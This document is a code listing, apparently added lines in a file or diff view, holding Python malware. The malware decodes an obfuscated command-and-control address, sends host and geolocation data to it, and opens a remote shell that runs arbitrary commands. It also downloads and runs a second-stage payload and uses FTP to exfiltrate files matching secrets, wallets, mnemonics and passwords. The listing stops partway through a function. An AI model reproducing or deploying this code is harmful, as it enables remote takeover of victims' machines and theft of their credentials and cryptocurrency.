|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import base64,socket
|
| 2 |
+
from uuid import getnode
|
| 3 |
+
from requests import get,post
|
| 4 |
+
from hashlib import sha256
|
| 5 |
+
from getpass import getuser
|
| 6 |
+
from platform import system,node,release,version
|
| 7 |
+
import time
|
| 8 |
+
|
| 9 |
+
sType = "pay"
|
| 10 |
+
gType = "root"
|
| 11 |
+
class System(object):
|
| 12 |
+
def __init__(A):
|
| 13 |
+
A.system=system()
|
| 14 |
+
if gType == "root":
|
| 15 |
+
A.hostname=node()
|
| 16 |
+
else:
|
| 17 |
+
A.hostname=gType + "_" + node()
|
| 18 |
+
A.release=release()
|
| 19 |
+
A.version=version()
|
| 20 |
+
A.username=getuser()
|
| 21 |
+
A.uuid=A.get_id()
|
| 22 |
+
def get_id(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
|
| 23 |
+
def sys_info(A):return{'uuid':A.uuid,'system':A.system,'release':A.release,'version':A.version,'hostname':A.hostname,'username':A.username}
|
| 24 |
+
|
| 25 |
+
class Geo(object):
|
| 26 |
+
def __init__(A):A.geo=A.get_geo();A.internal_ip=A.get_internal_ip()
|
| 27 |
+
def get_internal_ip(A):
|
| 28 |
+
try:return socket.gethostbyname_ex(hn)[-1][-1]
|
| 29 |
+
except:return''
|
| 30 |
+
def get_geo(A):
|
| 31 |
+
try:return get('http://ip-api.com/json').json()
|
| 32 |
+
except:pass
|
| 33 |
+
def net_info(A):
|
| 34 |
+
g=A.get_geo()
|
| 35 |
+
if g:
|
| 36 |
+
ii=A.internal_ip
|
| 37 |
+
if ii:g['internalIp']=ii
|
| 38 |
+
return g
|
| 39 |
+
|
| 40 |
+
class Information(object):
|
| 41 |
+
def __init__(A):A.net_info=Geo().net_info();A.sys_info=System().sys_info()
|
| 42 |
+
def parse(K,data):
|
| 43 |
+
J='regionName';I='country';H='query';G='city';F='isp';E='zip';D='lon';C='lat';B='timezone';_A='internalIp'
|
| 44 |
+
A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G]if G in A else'',H:A[H]if H in A else'',I:A[I]if I in A else'',B:A[B]if B in A else'',J:A[J]if J in A else'',_A:A[_A]if _A in A else''}
|
| 45 |
+
if'/'in A[B]:A[B]=A[B].replace('/',' ')
|
| 46 |
+
if'_'in A[B]:A[B]=A[B].replace('_',' ')
|
| 47 |
+
return A
|
| 48 |
+
def get_info(A):B=A.net_info;return{'sys_info':A.sys_info,'net_info':A.parse(B if B else[])}
|
| 49 |
+
|
| 50 |
+
host="LjE3LjI0OTUuMTY0"
|
| 51 |
+
#host=" NTEuMjEy MTAuMTAu"
|
| 52 |
+
PORT = 1224
|
| 53 |
+
HOST = base64.b64decode(host[8:] + host[:8]).decode()
|
| 54 |
+
if gType == "root":
|
| 55 |
+
hn = socket.gethostname()
|
| 56 |
+
else:
|
| 57 |
+
hn = gType + "_" + socket.gethostname()
|
| 58 |
+
|
| 59 |
+
class Comm(object):
|
| 60 |
+
def __init__(A):A.sys_info=Information().get_info()
|
| 61 |
+
def contact_server(A,ip,port):
|
| 62 |
+
A.ip,A.port=ip,int(port);B=int(time.time()*1000);C={'ts':str(B),'type':sType,'hid':hn,'ss':'sys_info','cc':str(A.sys_info)};D=f"http://{A.ip}:{A.port}/keys"
|
| 63 |
+
try:post(D,data=C)
|
| 64 |
+
except Exception as e:pass
|
| 65 |
+
def run_comm():c=Comm();c.contact_server(HOST, PORT);del c
|
| 66 |
+
run_comm()
|
| 67 |
+
|
| 68 |
+
import base64,platform,socket
|
| 69 |
+
from time import sleep
|
| 70 |
+
from socket import timeout as TimeOutError
|
| 71 |
+
import time
|
| 72 |
+
from datetime import datetime,timezone,timedelta
|
| 73 |
+
import json,os,struct,subprocess
|
| 74 |
+
from threading import Thread,RLock,Timer
|
| 75 |
+
import requests,ftplib
|
| 76 |
+
import ast
|
| 77 |
+
sHost = socket.gethostname()
|
| 78 |
+
host="LjE3LjI0OTUuMTY0"
|
| 79 |
+
#host=" NTEuMjEy MTAuMTAu"
|
| 80 |
+
_T=True;_F=False;_N=None;_A='admin';_O='output'
|
| 81 |
+
class Session(object):
|
| 82 |
+
def __init__(A,sock):A.sock=sock;A.info={'type':0,'group':sType,'name':sHost}
|
| 83 |
+
def shutdown(A):
|
| 84 |
+
try:A.sendall('[close]');A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()
|
| 85 |
+
except:pass
|
| 86 |
+
def connect(A,ip,port):
|
| 87 |
+
A.sock.connect((ip,port));sleep(.5)
|
| 88 |
+
A.send(code=0,args=A.info)
|
| 89 |
+
sleep(.5);return _T
|
| 90 |
+
def struct(A,code=_N,args=_N):return json.dumps({'code': code,'args': args})
|
| 91 |
+
def send(A,code=_N,args=_N):d=A.struct(code, args);A.sendall(d)
|
| 92 |
+
def sendall(A,data):
|
| 93 |
+
try:
|
| 94 |
+
try:ii = data.encode()
|
| 95 |
+
except:ii = data
|
| 96 |
+
ii = struct.pack('>I', len(ii)) + ii
|
| 97 |
+
A.sock.sendall(ii)
|
| 98 |
+
except:pass
|
| 99 |
+
def recv(A):
|
| 100 |
+
try:
|
| 101 |
+
print("start ses recv")
|
| 102 |
+
ll = A.recvall(4)
|
| 103 |
+
print("ses recv size:", ll)
|
| 104 |
+
if not ll:return _N
|
| 105 |
+
ml = struct.unpack('>I', ll)[0]
|
| 106 |
+
print("ses recv:", ml)
|
| 107 |
+
# Read the message datacls
|
| 108 |
+
return A.recvall(ml)
|
| 109 |
+
except TimeOutError:return -1
|
| 110 |
+
except:pass
|
| 111 |
+
def recvall(A,size):
|
| 112 |
+
try:
|
| 113 |
+
d = bytearray()
|
| 114 |
+
while len(d) < size:
|
| 115 |
+
pt = A.sock.recv(size - len(d))
|
| 116 |
+
if not pt:return _N
|
| 117 |
+
d.extend(pt)
|
| 118 |
+
return d
|
| 119 |
+
except:return _N
|
| 120 |
+
|
| 121 |
+
e_buf = ""
|
| 122 |
+
def decode_str(ss):
|
| 123 |
+
try:r=ss.decode('utf8');return r
|
| 124 |
+
except:
|
| 125 |
+
try:r=ss.decode('cp1252');return r
|
| 126 |
+
except:
|
| 127 |
+
try:r=ss.decode('mac_roman');return r
|
| 128 |
+
except:return ss
|
| 129 |
+
|
| 130 |
+
ex_files = ['.exe','.dll','.msi','.dmg','.iso','.pkg','.apk','.xapk','.aar','.ap_','.aab','.dex','.class','.rpm','.deb','.ipa','.dsym','.mp4','.avi','.mp3','.wmv','.wma','.mov','.webm','.avchd','.mkv','.ogg','.mpe','.mpv','.mpeg','.m4p','.m4a','.m4v','.aac','.flac','.aiff','.qt','.flv','.swf','.pyc','.lock','.psd','.pack','.old','.ppt','.pptx','.virtualization','.indd','.eps','.ai','.a','.jar','.so','.o','.wt','.lib','.dylib','.bin','.ffx','.svg','.css','.scss','.gem','.html']
|
| 131 |
+
ex_dirs = ['vendor','Pods','node_modules','.git','.next','.externalNativeBuild','sdk','.idea','cocos2d','compose','proj.ios_mac','proj.android-studio','Debug','Release','debug','release','obj','Obj','xcuserdata','.gradle','build','storage','.android','Program Files (x86)','$RECYCLE.BIN','Program Files','Windows','ProgramData','cocoapods','homebrew','.svn','sbin','standalone','local','ruby','man','zsh','Volumes','Applications','Library','System','Pictures','Desktop','usr','android','var','__pycache__','.angular','cache','.nvm','.yarn','.docker','.local','.vscode','.cache','__MACOSX','.pyp','.gem','.config','.rustup','.pyenv','.rvm','.sdkman','.nix-defexpr','.meteor','.nuget','.cargo','.vscode-insiders','.gemexport','.Bin','.oh-my-zsh','.rbenv','.ionic','.mozilla','.var','.cocoapods','.flipper','.forever','.quokka','.continue','.pub-cache','.debris','jdk','.wine32','.phpls','.typeChallenges','.sonarlint','.aptos','.bluemix','.bundle','.cabal','.changes','.changeset','.circleci','.cp','.cpanm','.cxx','.dart_tool','.dartServer','.dbvis','.deps','.devcontainer','.dotnet','.dropbox.cache','.dthumb','.ebcli-virtual-env','.eclipse','eclipse','.electrum','.executables','.exp','.ghcup','.github','.gnupg','.hash','.hasura','.IdentityService','.indexes','.install','.install4j','.kokoro','.localized','.npm','.node-gyp','.p2','.platformio','.plugin_symlinks','.plugins','.store','.storybook','.tmp','tmp','.turbo','.versions','.vs','.vscode-server','.yalc','!azure','x-pack','lib64','site-packages','node_modules12','kibana-8.5.0','google-cloud-sdk','golang.org','Assets.xcassets','arduino']
|
| 132 |
+
pat_envs = ['.env','config.js','secret','metamask','wallet','private','mnemonic','password','account','.xls','.xlsx','.doc','.docx','.rtf']
|
| 133 |
+
ex1_files = ['.php','.svg','.htm','.hpp','.cpp','.xml','.png','.swift','.ccb','.jsx','.tsx','.h','.java']
|
| 134 |
+
ex2_files = ['tsconfig.json','tailwind.config.js','svelte.config.js','next.config.js','babel.config.js','vite.config.js','webpack.config.js','postcss.config.js','robots.txt','license.txt','.ds_store','.angular-config.json','package-lock.json']
|
| 135 |
+
|
| 136 |
+
def ld(rd,pd):
|
| 137 |
+
dir=os.path.join(rd,pd);res=[];res.append((pd,''));sa = os.listdir(dir)
|
| 138 |
+
for x in sa:
|
| 139 |
+
fn=os.path.join(dir,x)
|
| 140 |
+
try:
|
| 141 |
+
x0 = x.lower()
|
| 142 |
+
if os.path.isfile(fn):
|
| 143 |
+
ff, fe = os.path.splitext(x0)
|
| 144 |
+
if not fe in ex_files and os.path.getsize(fn) < 104857600:res.append((pd, x))
|
| 145 |
+
elif os.path.isdir(fn):
|
| 146 |
+
if not x in ex_dirs and not x0 in ex_dirs:
|
| 147 |
+
if pd != '':t=pd+'/'+x
|
| 148 |
+
else:t=x
|
| 149 |
+
res=res+ld(rd,t)
|
| 150 |
+
except:pass
|
| 151 |
+
return res
|
| 152 |
+
def ld0(rd,pd):
|
| 153 |
+
dir=os.path.join(rd,pd);res=[];res.append((pd,''));sa = os.listdir(dir)
|
| 154 |
+
for x in sa:
|
| 155 |
+
if x==ex_dirs[0] or x==ex_dirs[1] or x==ex_dirs[2] or x==ex_dirs[3] or x==ex_dirs[4]:continue
|
| 156 |
+
try:
|
| 157 |
+
fn=os.path.join(dir,x)
|
| 158 |
+
if os.path.isfile(fn):res.append((pd, x))
|
| 159 |
+
elif os.path.isdir(fn):
|
| 160 |
+
if pd != '':t=pd+'/'+x
|
| 161 |
+
else:t=x
|
| 162 |
+
res=res+ld0(rd,t)
|
| 163 |
+
except:pass
|
| 164 |
+
return res
|
| 165 |
+
def ld1(rd,pd,pat):
|
| 166 |
+
D=pat;B=pd
|
| 167 |
+
if D=='':return[]
|
| 168 |
+
dir=os.path.join(rd,B);res=[];res.append((B,''));S=os.listdir(dir)
|
| 169 |
+
for x in S:
|
| 170 |
+
fn=os.path.join(dir,x)
|
| 171 |
+
try:
|
| 172 |
+
x0 = x.lower()
|
| 173 |
+
if os.path.isfile(fn):
|
| 174 |
+
ff, fe = os.path.splitext(x0)
|
| 175 |
+
if not fe in ex_files and os.path.getsize(fn)<104857600:
|
| 176 |
+
if x0.find(D) >= 0: res.append((B, x))
|
| 177 |
+
elif os.path.isdir(fn):
|
| 178 |
+
if not x in ex_dirs and not x0 in ex_dirs:
|
| 179 |
+
if B != '':t=B+'/'+x
|
| 180 |
+
else:t=x
|
| 181 |
+
res=res+ld1(rd,t,D)
|
| 182 |
+
except:pass
|
| 183 |
+
return res
|
| 184 |
+
def fmt_s(s):
|
| 185 |
+
if s<1024:return str(s)+'B'
|
| 186 |
+
elif s<1048576:return'{:.0f}KB'.format(s/1024.)
|
| 187 |
+
elif s<1073741824:return'{:.1f}MB'.format(s/1048576.)
|
| 188 |
+
else:return'{:.1f}GB'.format(s/1073741824.)
|
| 189 |
+
def FM(f,d):
|
| 190 |
+
try:f.mkd(d)
|
| 191 |
+
except:pass
|
| 192 |
+
|
| 193 |
+
os_type = platform.system()
|
| 194 |
+
class Shell(object):
|
| 195 |
+
def __init__(A,S):
|
| 196 |
+
A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=0;A.cp_stop=0
|
| 197 |
+
A.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
|
| 198 |
+
A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env}
|
| 199 |
+
print("init success")
|
| 200 |
+
def listen_recv(A):
|
| 201 |
+
while A.is_alive:
|
| 202 |
+
try:
|
| 203 |
+
print("start listen")
|
| 204 |
+
recv=A.sess.recv()
|
| 205 |
+
print("listen recv:", recv)
|
| 206 |
+
if recv==-1:
|
| 207 |
+
if A.timeout_count<30:A.timeout_count+=1;continue
|
| 208 |
+
else:A.timeout_count=0;recv=_N
|
| 209 |
+
if recv:
|
| 210 |
+
A.timeout_count=0
|
| 211 |
+
with A.lock:
|
| 212 |
+
D=json.loads(recv);c=D['code'];args=D['args']
|
| 213 |
+
try:
|
| 214 |
+
if c != 2:
|
| 215 |
+
args=ast.literal_eval(args)
|
| 216 |
+
except:
|
| 217 |
+
pass
|
| 218 |
+
if c in A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()#tg(args)
|
| 219 |
+
else:
|
| 220 |
+
if A.is_alive:A.is_alive=_F;A.close()
|
| 221 |
+
else:
|
| 222 |
+
if A.is_alive:A.timeout_count=0;A.is_alive=_F;A.close()
|
| 223 |
+
except Exception as ex:print("error_listen:", ex)
|
| 224 |
+
|
| 225 |
+
def shell(A):
|
| 226 |
+
print("start shell")
|
| 227 |
+
t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()
|
| 228 |
+
while A.is_alive:
|
| 229 |
+
try:sleep(5)
|
| 230 |
+
except:break
|
| 231 |
+
A.close()
|
| 232 |
+
return A.is_delete
|
| 233 |
+
|
| 234 |
+
def send(A,code=_N,args=_N):A.sess.send(code=code,args=args)
|
| 235 |
+
def sendall(A,m):A.sess.sendall(m)
|
| 236 |
+
def close(A):A.is_alive=_F;A.sess.shutdown()
|
| 237 |
+
def send_n(A,a,n,o):p={_A:a,_O:o};A.send(code=n,args=p)
|
| 238 |
+
|
| 239 |
+
def ssh_cmd(A,args):
|
| 240 |
+
try:
|
| 241 |
+
if args=='delete':o='[close]'
|
| 242 |
+
else:return
|
| 243 |
+
except Exception as e:o=f'Error_cmd: {e}'
|
| 244 |
+
try:
|
| 245 |
+
A.sendall(o);A.is_delete = _T
|
| 246 |
+
A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()
|
| 247 |
+
except: pass
|
| 248 |
+
|
| 249 |
+
def ssh_obj(A,args):
|
| 250 |
+
o=''
|
| 251 |
+
try:
|
| 252 |
+
a=args[_A];cmd=args['cmd']
|
| 253 |
+
if cmd == '':o=''
|
| 254 |
+
elif cmd.split()[0] == 'cd':
|
| 255 |
+
proc = subprocess.Popen(cmd, shell=_T)
|
| 256 |
+
if len(cmd.split()) != 1:
|
| 257 |
+
p=' '.join(cmd.split()[1:])
|
| 258 |
+
if os.path.exists(p):os.chdir(p)
|
| 259 |
+
o=os.getcwd()
|
| 260 |
+
else:
|
| 261 |
+
proc=subprocess.Popen(cmd,shell=_T,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()
|
| 262 |
+
try:o=decode_str(proc[0]);err=decode_str(proc[1])
|
| 263 |
+
except:o=proc[0];err=proc[1]
|
| 264 |
+
o=o if o else err
|
| 265 |
+
except:pass
|
| 266 |
+
p={_A:a,_O:o};A.send(code=1, args=p)
|
| 267 |
+
|
| 268 |
+
def ssh_clip(A,args):
|
| 269 |
+
global e_buf
|
| 270 |
+
try:A.send(code=3, args=e_buf);e_buf = ""
|
| 271 |
+
except:pass
|
| 272 |
+
|
| 273 |
+
def down_bro(A,p):
|
| 274 |
+
if os.path.exists(p):
|
| 275 |
+
try:os.remove(p)
|
| 276 |
+
except OSError:return _T
|
| 277 |
+
try:
|
| 278 |
+
if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
|
| 279 |
+
except:pass
|
| 280 |
+
|
| 281 |
+
host2 = f"http://{HOST}:{PORT}"
|
| 282 |
+
try:
|
| 283 |
+
myfile = requests.get(host2+"/brow/"+sType+"/"+gType, allow_redirects=_T)
|
| 284 |
+
with open(p,'wb') as f:f.write(myfile.content)
|
| 285 |
+
return _T
|
| 286 |
+
except Exception as e:return _F
|
| 287 |
+
|
| 288 |
+
def ssh_run(A,args):
|
| 289 |
+
try:
|
| 290 |
+
a=args[_A];p=A.par_dir+"/bow";res=A.down_bro(p)
|
| 291 |
+
if res:
|
| 292 |
+
if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
|
| 293 |
+
else:subprocess.Popen([sys.executable,p])
|
| 294 |
+
o = os_type + ' get browse'
|
| 295 |
+
except Exception as e:o = f'Err4: {e}';pass
|
| 296 |
+
p={_A:a,_O: o};A.send(code=4,args=p)
|
| 297 |
+
|
| 298 |
+
def send_5(A,a,o):A.send_n(a,5,o)
|
| 299 |
+
def ssh_upload(A,args):
|
| 300 |
+
o=''
|
| 301 |
+
try:
|
| 302 |
+
D=args[_A];cmd=args['cmd']
|
| 303 |
+
cmd=ast.literal_eval(cmd)
|
| 304 |
+
if 'sdira' in cmd:sdir=cmd['sdira'];dn=cmd['dname'];sdir=sdir.strip();dn=dn.strip();A.ss_upa(D,cmd,sdir,dn);return _T
|
| 305 |
+
elif 'sdir' in cmd:sdir=cmd['sdir'];dn=cmd['dname'];sdir=sdir.strip();dn=dn.strip();A.ss_upd(D,cmd,sdir,dn);return _T
|
| 306 |
+
elif 'sfile' in cmd:sfile=cmd['sfile'];dn=cmd['dname'];sfile=sfile.strip();dn=dn.strip();A.ss_upf(D,cmd,sfile,dn);return _T
|
| 307 |
+
elif 'sfinda' in cmd:sdir=cmd['sfinda'];dn=cmd['dname'];pat=cmd['pat'];sdir=sdir.strip();dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,sdir,dn,pat);return _T
|
| 308 |
+
elif 'sfind' in cmd:dn=cmd['dname'];pat=cmd['pat'];dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,'.',dn,pat);return _T
|
| 309 |
+
else:A.ss_ups();o='Stopped ...'
|
| 310 |
+
except Exception as e:print("error_upload:", str(e));o = f'Err4: {e}';pass
|
| 311 |
+
A.send_5(D,o)
|
| 312 |
+
|
| 313 |
+
def o_ftp(A,args,name):
|
| 314 |
+
hn=args['hn'];un=args['un'];pw=args['pw']
|
| 315 |
+
f=ftplib.FTP(hn,un,pw);f.encoding='utf-8'
|
| 316 |
+
d='DA'+sType;FM(f,d)
|
| 317 |
+
d=d+'/'+sHost;FM(f,d)
|
| 318 |
+
d=d+'/'+name;FM(f,d)
|
| 319 |
+
return (f,d)
|
| 320 |
+
def s_ft(A,G,t,sd,rd,x,y):
|
| 321 |
+
sn=os.path.join(sd,x,y);dn=rd+'/'+x+'/'+y
|
| 322 |
+
try:
|
| 323 |
+
with open(sn,'rb') as f:
|
| 324 |
+
t.storbinary(f"STOR {dn}",f)
|
| 325 |
+
o=' copied ' + fmt_s(os.fstat(f.fileno()).st_size)+': '+x+' '+y
|
| 326 |
+
f.close();A.send_5(G,o)
|
| 327 |
+
except Exception as e:
|
| 328 |
+
o=' failed: '+sn+' > '+str(e);A.send_5(G,o)
|
| 329 |
+
|
| 330 |
+
def ss_upd(A,D,args,sd,name):
|
| 331 |
+
A.cp_stop=0;t=_N
|
| 332 |
+
try:
|
| 333 |
+
if sd=='.':sd=os.getcwd()
|
| 334 |
+
A.send_5(D,' >> upload start: ' + sd)
|
| 335 |
+
res=ld(sd,'')
|
| 336 |
+
A.send_5(D,' -count: ' + str(len(res)))
|
| 337 |
+
(t,rd)=A.o_ftp(args,name)
|
| 338 |
+
for (x,y) in res:
|
| 339 |
+
if A.cp_stop==1:A.send_5(D,' upload stopped ');return
|
| 340 |
+
if y=='':dn=rd+'/'+str(x);FM(t,dn)
|
| 341 |
+
else:A.s_ft(D,t,sd,rd,x,y)
|
| 342 |
+
t.close()
|
| 343 |
+
A.send_5(D,' uploaded success ')
|
| 344 |
+
except Exception as ex:
|
| 345 |
+
if t is not _N:t.close()
|
| 346 |
+
o=' copy error :'+str(ex);A.send_5(D,o)
|
| 347 |
+
|
| 348 |
+
def ss_upa(A,D,args,sd,name):
|
| 349 |
+
A.cp_stop=0;t=_N
|
| 350 |
+
try:
|
| 351 |
+
if sd=='.':sd=os.getcwd()
|
| 352 |
+
A.send_5(D,' >> upload all start: ' + sd)
|
| 353 |
+
res=ld0(sd,'')
|
| 354 |
+
A.send_5(D,' -counts: ' + str(len(res)))
|
| 355 |
+
(t,rd)=A.o_ftp(args,name)
|
| 356 |
+
for (x,y) in res:
|
| 357 |
+
if A.cp_stop==1:A.send_5(D,' upload stopped ');return
|
| 358 |
+
if y=='':dn=rd+'/'+str(x);FM(t,dn)
|
| 359 |
+
else:A.s_ft(D,t,sd,rd,x,y)
|
| 360 |
+
t.close()
|
| 361 |
+
A.send_5(D,' uploaded success ')
|
| 362 |
+
except Exception as ex:
|
| 363 |
+
if t is not _N:t.close()
|
| 364 |
+
print("error_upa:", str(ex));o=' copy error :'+str(ex);A.send_5(D,o)
|
| 365 |
+
|
| 366 |
+
def ss_upf(A,admin,args,sfile,name):
|
| 367 |
+
D=admin;A.cp_stop=0;t=_N
|
| 368 |
+
try:
|
| 369 |
+
sdir=os.getcwd()
|
| 370 |
+
A.send_5(D,' >> upload start: ' + sdir + ' ' + sfile)
|
| 371 |
+
(t,rd)=A.o_ftp(args,name)
|
| 372 |
+
sn=os.path.join(sdir,sfile);dn=rd+'/'+sfile
|
| 373 |
+
try:
|
| 374 |
+
with open(sn, "rb") as f:
|
| 375 |
+
t.storbinary(f"STOR {dn}", f)
|
| 376 |
+
o=' copied ' + fmt_s(os.fstat(f.fileno()).st_size) + ': ' + sfile
|
| 377 |
+
f.close();A.send_5(D,o)
|
| 378 |
+
except Exception as e:o=' failed: '+sn+' > '+str(e);A.send_5(D,o)
|
| 379 |
+
t.close()
|
| 380 |
+
A.send_5(D,' uploaded done ')
|
| 381 |
+
except Exception as ex:
|
| 382 |
+
if t is not _N:t.close()
|
| 383 |
+
o=' copy error :'+str(ex);A.send_5(D,o)
|
| 384 |
+
|
| 385 |
+
def ss_ufind(A,D,args,sd,name,pat):
|
| 386 |
+
A.cp_stop=0;t=_N
|
| 387 |
+
try:
|
| 388 |
+
if sd=='.':sd=os.getcwd()
|
| 389 |
+
A.send_5(D,' >> ufind start: ' + sd)
|
| 390 |
+
res=ld1(sd,'',pat)
|
| 391 |
+
A.send_5(D,' -count: ' + str(len(res)))
|
| 392 |
+
(t,rd)=A.o_ftp(args,name)
|
| 393 |
+
for (x,y) in res:
|
| 394 |
+
if A.cp_stop==1:A.send_5(D,' ufind stopped ');return
|
| 395 |
+
if y=='':dn=rd+'/'+str(x);FM(t,dn)
|
| 396 |
+
else:A.s_ft(D,t,sd,rd,x,y)
|
| 397 |
+
t.close();A.send_5(D,' ufind success ')
|
| 398 |
+
except Exception as ex:
|
| 399 |
+
if t is not _N:t.close()
|
| 400 |
+
o=' copy error :'+str(ex);A.send_5(D,o)
|
| 401 |
+
|
| 402 |
+
def ss_ups(A):A.cp_stop=1
|
| 403 |
+
|
| 404 |
+
def f_up(A,a,t,sd,dd,x,y):
|
| 405 |
+
try:
|
| 406 |
+
dn = dd
|
| 407 |
+
for i in x.split('/'):
|
| 408 |
+
dn = os.path.join(dn,i)
|
| 409 |
+
if i not in t.nlst(os.path.dirname(dn)):t.mkd(dn)
|
| 410 |
+
sn=os.path.join(sd,x,y);dn=dd+'/'+x+'/'+y
|
| 411 |
+
with open(sn, "rb") as f:t.storbinary(f"STOR {dn}", f);f.close()
|
| 412 |
+
except:pass
|
| 413 |
+
|
| 414 |
+
def ss_ld(A,a,t,sd,dd,pd):
|
| 415 |
+
dir=os.path.join(sd,pd);sa = os.listdir(dir);res=[]
|
| 416 |
+
for x in sa:
|
| 417 |
+
fn=os.path.join(dir,x)
|
| 418 |
+
try:
|
| 419 |
+
x0 = x.lower()
|
| 420 |
+
if os.path.isfile(fn):
|
| 421 |
+
ff, fe = os.path.splitext(x0)
|
| 422 |
+
if not x0 in ex2_files and not fe in ex_files and not fe in ex1_files and os.path.getsize(fn)<20971520:
|
| 423 |
+
for p in pat_envs:
|
| 424 |
+
if x0.find(p)>=0:A.f_up(a,t,sd,dd,x=pd,y=x);res.append((sd,pd,x));break
|
| 425 |
+
elif os.path.isdir(fn):
|
| 426 |
+
if not x in ex_dirs and not x0 in ex_dirs:
|
| 427 |
+
if pd != '':p=pd+'/'+x
|
| 428 |
+
else:p=x
|
| 429 |
+
res += A.ss_ld(a,t,sd,dd,p)
|
| 430 |
+
except:pass
|
| 431 |
+
return res
|
| 432 |
+
|
| 433 |
+
def ssh_env(A,args):
|
| 434 |
+
try:
|
| 435 |
+
a=args[_A];c=args['cmd']
|
| 436 |
+
c=ast.literal_eval(c)
|
